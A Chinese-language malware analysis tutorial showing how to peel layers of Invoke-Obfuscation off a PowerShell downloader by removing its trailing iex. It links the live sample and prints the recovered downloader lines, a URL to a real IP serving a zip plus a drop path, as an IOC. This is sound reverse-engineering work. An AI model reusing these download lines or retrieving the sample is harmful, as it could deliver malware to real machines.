---
# System prepended metadata

title: 0x0E. Powershell Deobfuscation
tags: [Malware Analysis, Reverse Engineering, tutorials]

---

# 0x0E. Powershell Deobfuscation

[TOC]

## Sample Preview

VT Link: https://www.virustotal.com/gui/file/261ee2ff1e9188342b6de16f1d8621e3baef4e76dbf09e9e760a5c448c0f35e6/details

Download Link: https://bazaar.abuse.ch/sample/261ee2ff1e9188342b6de16f1d8621e3baef4e76dbf09e9e760a5c448c0f35e6/

SHA1: `6a863e455781a007b13fe612438156638c486a00`

<br>

將樣本存成`.txt`，打開檔案看到一坨奇怪的東西, 只有一堆無法辨別的文字


![](https://i.imgur.com/GcwBb3P.png)

<br>

根據 [MalwareAnalysisForHedgehogs](https://twitter.com/struppigel/status/1438081523077500928)  的解釋

> 1. `${  }` --> these are variables, different whitespace means different variable
> 2. at the end is a `|&` --> the & executes a string as command
> 3. `@{ }` --> declares a hash table
> 4. `$( )` --> sub-expression operator for double-quoted strings, the stuff inside is evaluated before the string is constructed

<br>

看起來有點困難，但最重要的，是第二點 **executes a string as command**

代表可以在執行前，print出真正會執行的東西，就不用手動一一拆解

<br>

## First Deobfuscation

將樣本拿去Powershell ISE, 刪掉最後面執行部分 (其實是 `iex`)

![](https://i.imgur.com/nWQoTsZ.png =50%x)

<br>

執行後得到以下output，注意最後面的 `iex`
> iex 為 Invoke-Expression的簡寫，會執行code

![](https://i.imgur.com/g35erv3.jpg)

<br>

- 可以看到有許多 `[CHAR]`的code，只是單純的ASCII，範例如下

![](https://i.imgur.com/eCTNijj.png =60%x)

<br>

總之，第一層decode完畢，雖然看起來稍微好一點，但還不夠清楚，繼續下一步decode

<br>

## Second Deobfuscation

直接貼上output，**並且移除最後面的 `|iex`

![](https://i.imgur.com/hMwT227.png)

<br>

執行後得到結果

![](https://i.imgur.com/bj2uvKS.png)

<br>

可以看到清楚的本體還帶有少量的obfuscation像是URL，此樣本的功能也是單純的downloader



```
$url2 = 'htt'+'p://'+'35.163.'+'204.167/esfsdgh'+'frzeqsdffgfrt'+'sfd.z'+'i'+'p'

$dir3 = $Mps + '\xx'+'rr'+'fff'+'ttt'+'bbb.z'+'ip'
```
<br>

IOC

```35.163.204[.]167```

<br>


## Tools

樣本所使用的obfuscation tool為Invoke-Obfuscation，連結為

https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Out-EncodedSpecialCharOnlyCommand.ps1#L26


<br>


[-0xbc](https://hackmd.io/@0xbc000)
###### tags: `Malware Analysis` `Reverse Engineering` `tutorials`